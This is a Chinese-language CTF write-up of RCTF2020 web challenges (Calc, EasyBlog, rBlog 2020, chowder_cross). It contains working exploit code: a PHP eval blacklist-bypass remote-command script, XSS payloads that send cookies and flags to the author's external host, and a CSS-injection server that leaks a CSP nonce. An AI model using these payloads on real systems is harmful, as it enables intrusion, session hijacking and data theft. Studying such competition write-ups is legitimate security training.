RCTF2020-Web-writeup

博客原文

https://blog.jeffz.cn/2020/06/01/RCTF2020-Web-Misc/

Calc

http://124.156.140.90:8081/calc.php

<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
    $str = $_GET['num'];
    $blacklist = ['[a-z]', '[\x7f-\xff]', '\s',"'", '"', '`', '\[', '\]','\$', '_', '\\\\','\^', ','];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/im', $str)) {
            die("what are you want to do?");
        }
    }
    @eval('echo '.$str.';');
}
?>

过滤了

['[a-z]', '[\x7f-\xff]', '\s',"'", '"', '`', '\[', '\]','\$', '_', '\\\\','\^', ',']

fuzz.py:

import requests
url = 'http://124.156.140.90:8081/calc.php?num=%'
for i in range(256):
    fuzzcode = hex(i)[2:]
    bytecode = str(bytes([i]))[1:]
    r = requests.get(url + fuzzcode)
    print(f'{bytecode} : {r.text}')

可以使用

['[\x00-\x08]', '\t','[\x10-\x1f]', '!', '#', '%', '&', '(',')', '*', '+', '-', '.', '/', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', ':', ';', '<', '=', '>', '?', '@', '{', '|', '}', '~']

可以看到与& 或| 非~都可以用,数字和括号(){}也都可以用,字符串连接符.也可以用,经过队友@Tyaoo的尝试,如下构造出了字符

((1).(1)){0} => 1
((1.1).(1)){1} => .
(((1.1).(1)){1})&(((4).(1)){0}) => $

然后就想到了科学计数法,构造出E

((1).(0.00001)){4} => E

这里记录下@星盟构造出来的几个字母

因为php中
\frac{0}{0}=NAN

\frac{1}{0}=INF

所以

((0/0).(0)){0} => N
((0/0).(0)){1} => A
((1/0).(0)){0} => I
((1/0).(0)){2} => F

暴力枚举一下

make.py:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
table = list(b'0123456789.-E')  # 已知可构造字符
di = {}
l = len(table)
temp = 0
while temp != l:
    for j in range(temp, l):
        if ~table[j] & 0xff not in table:  # 非运算
            table.append(~table[j] & 0xff)
            di[~table[j] & 0xff] = {'op': '~', 'c': table[j]}  # 加入字典
            # print(f'~ {str(bytes([table[j]]))[1:]} = {str(bytes([~table[j]&0xff]))[1:]}')  # 打印构造过程
    for i in range(l):
        for j in range(max(i+1, temp), l):
            t = table[i] & table[j]  # 与运算
            if t not in table:
                table.append(t)
                di[t] = {'op': '&', 'c1': table[i], 'c2': table[j]}  # 加入字典
                # print(f'{str(bytes([table[i]]))[1:]} & {str(bytes([table[j]]))[1:]} = {str(bytes([t]))[1:]}')  # 打印构造过程
            t = table[i] | table[j]  # 或运算
            if t not in table:
                table.append(t)
                di[t] = {'op': '|', 'c1': table[i], 'c2': table[j]}  # 加入字典
                # print(f'{str(bytes([table[i]]))[1:]} | {str(bytes([table[j]]))[1:]} = {str(bytes([t]))[1:]}')  # 打印构造过程
    temp = l
    l = len(table)

table.sort()
print(bytes(table))
'''
可构造出:
\t\n\r !"#$%&\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~
'''


def howmake(ch: int) -> str:
    if ch in b'0123456789':
        return '(((1).(' + chr(ch) + ')){1})'
    elif ch in b'.':
        return '(((1).(0.1)){2})'
    elif ch in b'-':
        return '(((1).(-1)){1})'
    elif ch in b'E':
        return '(((1).(0.00001)){4})'
    d = di.get(ch)
    if d:
        op = d.get('op')
        if op == '~':
            c = '~'+howmake(d.get('c'))
        elif op == '&':
            c = howmake(d.get('c1')) + '&' + howmake(d.get('c2'))
        elif op == '|':
            c = howmake(d.get('c1')) + '|' + howmake(d.get('c2'))
        return f'({c})'
    else:
        print('input error!')
        return


if __name__=='__main__':
    while True:
        payload = input('>')
        result = []
        for i in payload:
            result.append(howmake(ord(i)))
        result = '.'.join(result)
        print(f'({result})')

但是这样执行有很大的限制,只能运行单行命令,而且url有长度限制

经过月亮大哥@cjM00n的提醒,可以将shell分为多段,写到文件中再执行

然后根据写出如下脚本

rce.py

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from urllib.parse import quote
import requests
import base64
from make import howmake


system = []
for i in 'system':
    system.append(howmake(ord(i)))
system = quote('.'.join(system))
#url = 'http://192.168.127.130/calc.php?num='
url = 'http://124.156.140.90:8081/calc.php?num='


def rce(payload: str):
    result = []
    for i in payload:
        result.append(howmake(ord(i)))
    result = quote('.'.join(result))
    payload = f'({system})({result})'
    # print(f'payload:\n({payload})')
    r = requests.get(url + payload)
    return r.text


if __name__=='__main__':
    print('Input your shellcode, press "e" to over and run.')
    while True:
        i = 1
        cmd = ''
        temp = input(f'line {i} >')
        while temp.lower() != 'e':
            cmd += temp.strip() + '\n'
            i += 1
            temp = input(f'line {i} >')
        print('writing shellcode to /tmp/c.sh')
        print('=====================================================')
        for i in range(0, len(cmd), 10):
            payload = cmd[i:i+10]
            print(f'{payload}',end='')
#           payload = "echo '" + payload + "\\'>>/tmp/c.sh"
            payload = base64.b64encode(payload.encode('utf-8')).decode('utf-8')
            payload = f'echo {payload}|base64 -d>>/tmp/c.sh'
            rce(payload)
        print('=====================================================')
        payload = '/bin/bash /tmp/c.sh'
        print(f'[+]{payload}')
        print()
        print('=====================================================')
        print(rce(payload))
        print('=====================================================')
        print()
        payload = 'rm -rf /tmp/c.sh'
        print(f'[+]{payload}')
        rce(payload)
'''
https://github.com/ZeddYu/ReadFlag/blob/master/bash.md
执行下面代码就能拿到flag
rm -rf /tmp/pipe
mkfifo /tmp/pipe
cat /tmp/pipe | /readflag |(read l;read l;echo "$(($l))" > /tmp/pipe;cat)
rm -rf /tmp/pipe
'''
image-20200601092657864.png

EasyBlog

赛后根据月亮大哥@cjM00n的思路来复现一下

比赛中修改了题目的CSP

改后如下

default-src 'none'; script-src 'unsafe-eval' 'nonce-4dd516bfb85e09859190085f3abc31d8439fe768' ; font-src 'self' data:; connect-src 'self'; img-src *; style-src 'self'; base-uri 'none'

比改之前多了个unsafe-eval

hint: zepto

入口 http://124.156.134.92:8081/?page=login

打开之后是一个登录

观察url很容易找到注册入口 http://124.156.134.92:8081/?page=register

随意注册一个账号进去之后发现 Report

image.png

很显然这是个XSS

根据CSP,我们构造一个payload

123<img src=1>123

然后见框就插

YD6rKJ7z3ERucdC.png

可以看到有两个地方解析了,分别是

  • article的content
  • comment的content

题目提示 zepto

所以我们看看js的部分

      function addComments(comments) {
        comments.forEach(function (comment) {
          let html = `
          <div class="panel panel-default">
              <div class="panel-heading">
                <span class="name"></span>
                <div class="pull-right">
                    <button type="button" class="btn btn-default btn-xs like" data-id="${comment.id}">
                      <span class="glyphicon glyphicon-thumbs-up" aria-hidden="true"></span><span>${comment.like}</span>
                    </button>
                    <button type="button" class="btn btn-default btn-xs dislike" data-id="${comment.id}">
                      <span class="glyphicon glyphicon-thumbs-down" aria-hidden="true"></span><span>${comment.dislike}</span>
                    </button>
                </div>
              </div>
              <div class="panel-body"></div>
            </div>
          `;
          dom = $(html)
          dom.find('div>.name').text(comment.name)
          dom.find('.panel-body').html(comment.comment)
          $('#comments').append(dom)
        })
      }
      function getUrlParam(name) {
        var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)")
        var r = window.location.search.substr(1).match(reg)
        if (r != null) return unescape(r[2])
        return null
      }

      $.get('?page=comments&cb=addComments&id=' + getUrlParam('id'))
      $('#comments').on('click','button', function(e) {
        let btn = $(e.currentTarget)
        if (btn.hasClass('like')) {
          $.get('?page=vote&op=like&id=' + btn.data('id'), function(e) {
            let count = parseInt(btn.children('span:last-child').text())
            btn.children('span:last-child').text(count + 1)
          })
        } else if(btn.hasClass('dislike')) {
          $.get('?page=vote&op=dislike&id=' + btn.data('id'), function(e) {
            let count = parseInt(btn.children('span:last-child').text())
            btn.children('span:last-child').text(count + 1)
          })
        }
      })

这里使用的不是 jquery 而是 zepto

这道题我只看出了一个可疑的地方

dom.find('.panel-body').html(comment.comment)

然后月亮大哥说还有个可控jsonp,可以通过改变cb的值来控制输出,但是由于我们缺少unsafe-inline, 不能在页面中插入script标签, 这样就无法调用

$.get('?page=comments&cb=addComments&id=' + getUrlParam('id'))

找到问题所在就去看文档 https://zeptojs.com/#html

image.png

简单地说就是 innerHTML 的效果

但是同样因为没有 unsafe-inline 也无法利用

然后看@zeddyu师傅的blog找到思路Web安全从零开始-XSS-III

image.png

(贴上月亮大哥的知识点 :Script-Gadgets

考虑到有代码重用的可能性,针对zepto进行代码审计,因为有unsafe-eval,所以我们使用eval关键字进行查找

然后库中 src/zepto.js 发现了点东西

nodes.forEach(function(node){
  if (copyByClone) node = node.cloneNode(true)
  else if (!parent) return $(node).remove()

  parent.insertBefore(node, target)
  if (parentInDocument) traverseNode(node, function(el){
    if (el.nodeName != null && el.nodeName.toUpperCase() === 'SCRIPT' &&
       (!el.type || el.type === 'text/javascript') && !el.src){
      var target = el.ownerDocument ? el.ownerDocument.defaultView : window
      target['eval'].call(target, el.innerHTML)
    }
  })
})

这里的toUpperCase()就可以操作了

https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html

所以我们可以通过 scrıpt 来绕过检测,让zepto来执行

测试一下

<scrıpt>alert(1)</scrıpt>

可以弹窗

接着我们新建一个article

插入comment

<scrıpt>location.href="http://ip:port/"+btoa(document.cookie)</scrıpt>

然后本地运行

python -m http.server port

然后提交到Report得到cookies

PHPSESSID=1e251d73b669a63e8ca8fca7eb9b915b

以管理员身份进入之后就得到flag了

RCTF{1s_This_4_feaTur3_0R_A_bUg!}

附MD5截断比较脚本

# -*- coding: utf-8 -*-
import multiprocessing
import hashlib
import random
import string
import sys
CHARS = string.ascii_letters + string.digits
def cmp_md5(substr, stop_event, str_len, start=0, size=20):
    global CHARS
    while not stop_event.is_set():
        rnds = ''.join(random.choice(CHARS) for _ in range(size)).encode('utf-8')
        md5 = hashlib.md5(rnds + b'AFRzSApjjP') # 这里自己改
        if md5.hexdigest()[start: start+str_len] == substr:
            print(rnds.decode('utf-8'))
            stop_event.set()
if __name__ == '__main__':
    #substr = sys.argv[1].strip()
    substr = 'eafc5'                            # 这里自己改
    #start_pos = int(sys.argv[2]) if len(sys.argv) > 2 else 0
    start_pos = 0
    str_len = len(substr)
    cpus = multiprocessing.cpu_count()
    stop_event = multiprocessing.Event()
    processes = [multiprocessing.Process(target=cmp_md5, args=(substr,
                                         stop_event, str_len, start_pos))
                 for i in range(cpus)]
    for p in processes:
        p.start()
    for p in processes:
        p.join()
#python submd5.py substr startpos

这题@W&M有另一种做法,具体可以看他们的wp

swoole

https://swoole.rctf2020.rois.io

hint1: https://github.com/swoole/library/issues/34 this might helpful

先贴个出题人的writeup https://github.com/zsxsoft/my-ctf-challenges/tree/master/rctf2020

出题人说这题是道简单反序列化

我:???

源码:

#!/usr/bin/env php
<?php
Swoole\Runtime::enableCoroutine($flags = SWOOLE_HOOK_ALL);
$http = new Swoole\Http\Server("0.0.0.0", 9501);
$http->on("request",
    function (Swoole\Http\Request $request, Swoole\Http\Response $response) {
        Swoole\Runtime::enableCoroutine();
        $response->header('Content-Type', 'text/plain');
        // $response->sendfile('/flag');
        if (isset($request->get['phpinfo'])) {
            // Prevent racing condition
            // ob_start();phpinfo();
            // return $response->end(ob_get_clean());
            return $response->sendfile('phpinfo.txt');
        }
        if (isset($request->get['code'])) {
            try {
                $code = $request->get['code'];
                if (!preg_match('/\x00/', $code)) {
                    $a = unserialize($code);
                    $a();
                    $a = null;
                }
            } catch (\Throwable $e) {
                var_dump($code);
                var_dump($e->getMessage());
                // do nothing
            }
            return $response->end('Done');
        }
        $response->sendfile(__FILE__);
    }
);
$http->start();

网页的源码只有这么些,很明显有一个可利用的点

$a = unserialize($code);
$a();

(这题我看了wp都做不出来,wtcl,等我看懂了再补上,咕咕咕

rBlog 2020

hint:

https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace

贴上国外大佬的writeup:

https://blog.cal1.cn/post/RCTF%202020%20rBlog%20writeup

先看CSP:

default-src 'self' 'unsafe-inline' 'unsafe-eval'; img-src 'self' data:; object-src 'none'; base-uri 'none';
  • unsafe-inlineunsafe-eval,可以说啥都能用了

然后下载源码,发现是 django 框架

  • 主路由 rblog4 分为两个分路由 usersposts

  • 查看 users 的路由,发现没有用户注册功能,所以这个登录和注销功能只有 bot 能用,也不用看了

主要看 posts 的路由和源码

posts/urls.py

from django.urls import path
from .views import *

app_name = 'posts'

urlpatterns = [
    path('<uuid:id>', post_id_handler, name='uuid'),
    path('', post_list_handler, name='list'),
    path('feedback', feedback_handler, name='feedback'),
    path('flag', flag_handler)
]

posts/views.py

from django.shortcuts import render, HttpResponse
from .models import Post, Feedback
from django.http import JsonResponse
from datetime import datetime, timedelta
from os import getenv


def post_id_handler(req, id):
    if 'fetch' in req.GET:
        p = Post.objects.filter(id=id)
        if len(p) == 1:
            return JsonResponse(p.values('id', 'title', 'content', 'create_at')[0])
        else:
            return HttpResponse(status=404)
    else:
        return render(req, 'posts/post.html')


def post_list_handler(req):
    if 'fetch' in req.GET:
        post_list = Post.objects.order_by('-create_at')
        return JsonResponse(list(post_list.values('id', 'title')), safe=False)
    else:
        return render(req, 'posts/list.html')


def feedback_handler(req):
    if req.method == 'POST':
        fb = {
            'link': req.POST.get('postid', ''),
            'highlight_word': req.POST.get('highlight', ''),
            'ip': req.META.get('HTTP_X_REAL_IP', req.META.get('REMOTE_ADDR'))
        }
        last_fb = Feedback.objects.filter(ip=fb['ip']).order_by('-create_at').first()
        # check if last feedback from is ip is within one minute
        if last_fb is None or last_fb and (datetime.now() - last_fb.create_at) > timedelta(minutes=1):
            wew = Feedback(**fb)
            wew.save()
            return HttpResponse(status=204)
        else:
            return HttpResponse(status=429)
    else:
        if 'fetch' in req.GET:
            if req.user.is_staff:
                fb = Feedback.objects.filter(is_viewed=False).order_by('create_at')[:5]
                ret = list(fb.values('link', 'highlight_word', 'ip'))
                Feedback.objects.filter(pk__in=fb.values_list('pk')).update(is_viewed=True)
                return JsonResponse(ret, safe=False)
            else:
                return HttpResponse(status=403)
        else:
            return render(req, 'posts/feedback.html')


def flag_handler(req):
    if req.user.is_staff:
        return HttpResponse(getenv('CHALLENGE_FLAG'))
    else:
        return HttpResponse(status=401)

这里我们可以得到以下信息

  • flag 位于 /posts/flag ,需要 bot 访问

  • feedback 中我们通过 POST 来提交信息,如下

    POST /posts/feedback HTTP/1.1
    Host: rblog.rctf2020.rois.io
    Content-Type: application/x-www-form-urlencoded
    
    postid=8dfaa99d-da9b-4e90-954e-0f97a6917b91&highlight=writeup
    

    其中

    postid => link
    highlight_word => highlight
    

    bot 访问时会返回渲染页面 posts/feedback.html

然后分析下 feedback.html

{% extends 'base.html' %}
{% block body %}
    <div>
        <h2>Feedback list</h2>
    </div>
    <hr/>
    <div id="feedback_list"></div>
{% endblock %}
{% load static %}
{% block script %}
<script src="{% static "js/purify.min.js" %}"></script>
<script>
    axios.get('?fetch').then(resp => {
        for (let i of resp.data) {
            let params = new URLSearchParams()
            params.set('highlight', i.highlight_word)
            if (i.link.includes('/') || i.link.includes('\\')) {
                continue; // bye bye hackers uwu
            }
            let a = document.createElement('a')
            a.href = `${i.link}?${params.toString()}`
            a.text = `${i.ip}: ${a.href}`
            feedback_list.appendChild(a)
            feedback_list.appendChild(document.createElement('br'))
        }
        feedback_list.innerHTML = DOMPurify.sanitize(feedback_list.innerHTML)
    }, err => {
        feedback_list.innerText = err
    })
</script>
{% endblock %}
  • 管理员访问 /posts/feedback 时,会从服务器获取我们 POST 的信息,构造如下标签

    <a href="8dfaa99d-da9b-4e90-954e-0f97a6917b91?highlight=writeup">ip: a.href</a>
    

    其中 link ,也就是我们提交的 postid 检测了 /\

这里我们会想到用 javascript: 来构造xss语句,但是被 DOMPurify 净化了,所以没法使用

跟着url路由,我们来到 posts/post.html

...
let postid = location.pathname.split('/', 3)[2];
axios.get('?fetch').then(resp => {
    let p = resp.data
    document.title = p.title
    post_title.innerText = p.title
    post_time.innerText = p.create_at
    post_content.innerHTML = DOMPurify.sanitize(p.content)
    highlight_word()
}, err => {
    post_title.innerHTML = err
})

function highlight_word() {
    u = new URL(location)
    hl = u.searchParams.get('highlight') || ''
    if (hl) {
        // ban html tags
        if (hl.includes('<') || hl.includes('>') || hl.length > 36) {
            u.searchParams.delete('highlight')
            history.replaceState('', '', u.href)
            alert('⚠️ illegal highlight word')
        } else {
            // why the heck this only highlights the first occurrence? stupid javascript 😠
            // content.innerHTML = content.innerHTML.replace(hl, `<b class="hl">${hl}</b>`)
            hl_all = new RegExp(hl, 'g')
            replacement = `<b class="hl">${hl}</b>`
            post_content.innerHTML = post_content.innerHTML.replace(hl_all, replacement)
            let b = document.querySelector('b[class=hl]')
            if (b) {
                typeof b.scrollIntoViewIfNeeded === "function" ? b.scrollIntoViewIfNeeded() : b.scrollIntoView()
            }
        }
    }
}
...

这里进来就是用postid来获取文章信息并显示,因为我们没有账号,文章信息不可控,所以直接看 highlight_word()

  • highlight 参数传入 hl
  • 检测尖括号 < >,限制长度为36
  • 正则匹配 /${hl}/g 替换为 <b class="hl">${hl}</b>

根据hint,我们可以找到这个东西 使用字符串作为参数

image.png
image.png
匹配第一个:
 一 二 三         $` => ""         $' => "一二三" 
^                1$`2$'3|  =>  "12一二三3|"
匹配第二个:
 一 二 三         $` => "一"       $' => "二三"
   ^             1$`2$'3|  =>  "1一2二三3|"
匹配第三个:
 一 二 三         $` => "一二"      $' => "三"
     ^           1$`2$'3|  =>  "1一二2三3|"
匹配第四个:
 一 二 三         $` => "一二三"    $' => "二三"
        ^        1$`2$'3|  =>  "1一二三23|"
拼起来:
"12一二三3|一1一2二三3|二1一二2三3|三1一二三23|"

构造payload

?highlight=$`style%20onload=alert()%0a|

可以弹出窗口,但是因为长度限制为36,所以还得想别的办法

这里国外大佬用了一种神奇的特性(做笔记

如果href属性以当前位置加载时使用的其他HTTP协议开头,则不会将其识别为相对URL。

image.png

所以我们可以通过让bot访问我们的连接来执行我们的script,然后利用window.name传递我们的payload然后用eval执行

本地 index.html

<script>
window.name = "fetch('flag').then(r=>{r.text().then(t=>{location='http://jeffz.cn:6009/'+btoa(t)})})"
location = "https://rblog.rctf2020.rois.io/posts/8dfaa99d-da9b-4e90-954e-0f97a6917b91?highlight=$`style%20onload=eval(top.name)%0a|"
</script>

POST

POST /posts/feedback HTTP/1.1
Host: rblog.rctf2020.rois.io
Content-Type: application/x-www-form-urlencoded

postid=http:jeffz.cn:6009&highlight=crzz
image.png

解码得到flag

RCTF{rblog2015_literally_unplayable_OMEGALUL}

还有师傅利用了全局变量u

POST

POST /posts/feedback HTTP/1.1
Host: rblog.rctf2020.rois.io
Content-Type: application/x-www-form-urlencoded

postid=8dfaa99d-da9b-4e90-954e-0f97a6917b91?`(eval(atob(`ZmV0Y2goJ2ZsYWcnKS50aGVuKHI9PntyLnRleHQoKS50aGVuKHQ9Pntsb2NhdGlvbj0naHR0cDovL2plZmZ6LmNuOjYwMDkvJytidG9hKHQpfSl9KQ==`)))%3b`%26highlight=$%2560style%2520onload=eval(%2522%2560%2522%252Bu.search)%250A|%26`#&highlight=crzz

chowder_cross

hints:

you should bypass the csp at the first of all,try to find the difference from this web challenge's configuration and other challenge's configuration,maybe it can help you to bypass the csp.

hint2:You can think about how the .htaccess of this web challenge is written, and think about a strange place in Content-Security-Policy, think about what function I implemented it on the back end of php,and find the relevant csp bypass method,I believe this is helpful for you.

hint3: Try to visit the non-existent page and see what happens, pay attention to img-src to see what happens, please combine my previous hints.

hint4: If you bypass the csp please leak nonce, if you use the best method you will only spend about ten seconds to leak admin's nonce,don't think too,I filter more in feedback than post.

hint5: The bot is firefox74.0. And If you are trying leak nonce now and If you think you're doing the right thing but can't leak nonce out, I suggest you to find the difference between leak nonce and other values when there is csp.And if you are filtered in the feedback for no reason, it is recommended that you try to add one or more spaces to your payload.I believe these will be of great help to you.

先贴个国外大佬的writeup : https://museljh.github.io/2020/06/01/RCTF2020-chowder-cross-writeup/

注册登录,发现又是一道xss题目

随便输入一下,看下csp

default-src 'none';object-src 'none';sandbox allow-scripts;connect-src 'self';script-src 'self' https://*.google.com/* 'nonce-1f73cd3daaa1a2279bedeb7c5299bae1';img-src http://124.156.139.238/;style-src 'self' 'nonce-1f73cd3daaa1a2279bedeb7c5299bae1'

同时也看到了hint=flag_is_in_flag.php

访问/flag.php看到源码

<?php if(isset($_GET['f'])){
if($_SERVER["REMOTE_ADDR"] === "124.156.139.238" && $_SERVER['SERVER_NAME'] === "124.156.139.238")
    echo "function get_secret(){ '".base64_encode(file_get_contents('admin.php'))."' }";
else
    echo "function get_secret(){ 'emmmmm? Why aren\\'t you administrator?'
    }";
} else{
    highlight_file('flag.php'); }
?>

需要让bot来获得 /flag.php?f=1 中的 get_secret 的源码从而获得flag

回来看CSP,其中那个 https://*.google.com/*http://124.156.139.238/令人挺在意的

修改url,发现存在CSP策略注入

image.png

但是因为 script-src 已经出现过了,所以我们无法通过CSP注入来绕过,我们只可以修改 style-src

这里有个CSP的总结 https://blog.csdn.net/qq_33020901/article/details/79494449

  • 不同指令之间用 ; 分隔
  • 同一指令的多个指令值之间用空格分隔
  • 指令值除了 URL 都要用引号包裹
  • 指令如果重复,则以第一个为准

因为bot是firefox74.0,我们可以通过CSS样式表注入来获得管理员的 nonce,从而实现script执行

https://www.freebuf.com/vuls/227326.html

英文原文:https://research.securitum.com/css-data-exfiltration-in-firefox-via-single-injection-point/

exp:https://github.com/securitum/research/blob/master/r2020_firefox-css-data-exfil/exploit.js

本地运行node脚本

const compression = require('compression')
const express = require('express');
const cssesc = require('cssesc');
const spdy = require('spdy');
const fs = require('fs');


const app = express();
app.set('etag', false);
app.use(compression());

const SESSIONS = {};

const POLLING_ORIGIN = `https://example.com:3000`;
const LEAK_ORIGIN = `https://example.com:3000`;

function urlencode(s) {
    return encodeURIComponent(s).replace(/'/g, '%27');
}

function createSession(length = 150) {
    let resolves = [];
    let promises = [];
    for (let i = 0; i < length; ++i) {
        promises[i] = new Promise(resolve => resolves[i] = resolve);
    }
    resolves[0]('');
    return { promises, resolves };
}

const CHARSET = Array.from('1234567890/=+QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm');
app.get('/polling/:session/:index', async (req, res) => {
    let { session, index } = req.params;
    index = parseInt(index);
    if (index === 0 || !(session in SESSIONS)) {
        SESSIONS[session] = createSession()
    }

    res.set('Content-Type', 'text/css');
    res.set('Cache-Control', 'no-cache');

    let knownValue = await SESSIONS[session].promises[index];

    const ret = CHARSET.map(char => {
        return `script[nonce^="${cssesc(knownValue+char)}"] ~ a { background: url("${LEAK_ORIGIN}/leak/${session}/${urlencode(knownValue+char)}")}`;
    }).join('\n');

    res.send(ret);

});

app.get('/leak/:session/:value', (req, res) => {
    let { session, value } = req.params;
    console.log(`[${session}] Leaked value: ${value}`);

    SESSIONS[session].resolves[value.length](value);
    res.status(204).send();
});

app.get('/generate', (req, res) => {
    const length = req.query.len || 100;
    const session = Math.random().toString(36).slice(2);

    res.set('Content-type', 'text/plain');
    for (let i = 0; i < length; ++i) {
        res.write(`<style>@import '${POLLING_ORIGIN}/polling/${session}/${i}';</style>\n`);
    }
    res.send();
});

const options = {
    key: fs.readFileSync('/etc/ssl/private/private.key'),
    cert:  fs.readFileSync('/etc/ssl/certs/full_chain.pem')
}


const PORT = 3000;
spdy.createServer(options, app).listen(PORT, () => console.log(`Example app listening on port ${PORT}!`))

运行之后访问 https://example.com:3000/generate 生成xss代码

然后x到网页中,将url修改并反馈

/s example:3000;style-src * 'unsafe-inline';/?action=post&id=a4d458c79bfe6f37997620dcb9fa507a

同样也要md5截断比较

(这里不知道为什么复现的时候md5截断一直没成功,但是我们可以本地测试,虽然返回不了flag

拿到nonce之后查看网页的js

function noop() {}
(() => {
    const observer = new MutationObserver(function(mutations) {
        mutations.forEach(function(mutation) {
            const nodes = mutation.addedNodes;
            for (var i = 0; i < nodes.length; i++) {
                var node = nodes[i];
                if (node.src != undefined && node.src != "") {
                    if (/^https:\/\/www.google\.com\/*$/.test(node.src)) {} else {
                        node.parentNode.removeChild(node);
                    }
                }
                if (node.srcdoc != undefined && node.srcdoc != "") {
                    if (/[^a-zA-z0-9:/]/.test(node.srcdoc)) {
                        node.parentNode.removeChild(node);
                    }
                }
            }
        });
    });
    observer.observe(document, {
        subtree: true,
        childList: true
    });
    window.open = () => ''
    const oldCreateElement = Document.prototype.createElement
    Document.prototype.createElement = (a, ...args) => {
        if (a !== 'iframe' && a !== 'frame')
            return oldCreateElement.apply(document, [a, ...args])
        return ''
    }
    Document.prototype.createElementNS = noop
})();
window.uneval = function() {};
Function.prototype.toString = noop
Function.prototype.toSource = noop
document.addEventListener('load', (e) => {
    try {
        console.log('fucked')
        e.target.contentWindow.Function.prototype.toString = noop
        e.target.contentWindow.Function.prototype.toSource = noop
    } catch (e) {}
}, true);
['Document', 'Element'].forEach(documentKey => {
    Object.keys(window[documentKey].prototype).forEach(key => {
        try {
            if (window[documentKey].prototype[key] instanceof Function) {
                window[documentKey].prototype[key] = noop
            }
        } catch (e) {}
    })
})

可以看到这里过滤了很多东西

  1. 过滤了正则匹配src = /^https:\/\/www.google\.com\/*$/ 的node节点
  2. 过滤了正则匹配srcdoc = /[^a-zA-z0-9:/]/ 的node节点
  3. 禁止使用 createElement 创建 iframeframe 元素
  4. 废了 window.unevaltoStringtoSource
  5. DocumentElement 下的 Function 类型的 key 都被艹了

正则匹配,我们可以通过覆写 RegExp.prototype.test 来绕过

RegExp.prototype.test = function(){return false};

不能用 createElement 创建 iframe 元素,但是我们可以通过 innerHTML 直接写入

payload

<script nonce=1f73cd3daaa1a2279bedeb7c5299bae1>
RegExp.prototype.test = function(){return false};
var a="<ifra".concat("me sr","cdoc='\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x31\x32\x34\x2e\x31\x35\x36\x2e\x31\x33\x39\x2e\x32\x33\x38\x2f\x66\x6c\x61\x67\x2e\x70\x68\x70\x3f\x66\x3d\x31\x22\x3e\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e\x3c\x73\x63\x72\x69\x70\x74\x20\x6e\x6f\x6e\x63\x65\x3d\x31\x66\x37\x33\x63\x64\x33\x64\x61\x61\x61\x31\x61\x32\x32\x37\x39\x62\x65\x64\x65\x62\x37\x63\x35\x32\x39\x39\x62\x61\x65\x31\x3e\x6c\x6f\x63\x61\x74\x69\x6f\x6e\x2e\x68\x72\x65\x66\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x6a\x65\x66\x66\x7a\x2e\x63\x6e\x3a\x36\x30\x30\x39\x2f\x22\x2b\x62\x74\x6f\x61\x28\x67\x65\x74\x5f\x73\x65\x63\x72\x65\x74\x29\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e'>");
document.body.innerHTML=a;
</script>

其中编码的内容为

<script src="http://124.156.139.238/flag.php?f=1"></script><script nonce=1f73cd3daaa1a2279bedeb7c5299bae1>location.href="http://jeffz.cn:6009/"+btoa(get_secret)</script>

访问

http://124.156.139.238/;frame-src *;/?action=post&id=4364f67e1ca98b009f17d70631e569ae

本地获得返回的结果

base64解码后成功获得函数内容

image.png
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 220,295评论 6 512
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 93,928评论 3 396
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 166,682评论 0 357
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 59,209评论 1 295
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 68,237评论 6 397
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,965评论 1 308
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,586评论 3 420
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 39,487评论 0 276
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 46,016评论 1 319
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 38,136评论 3 340
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 40,271评论 1 352
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,948评论 5 347
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,619评论 3 331
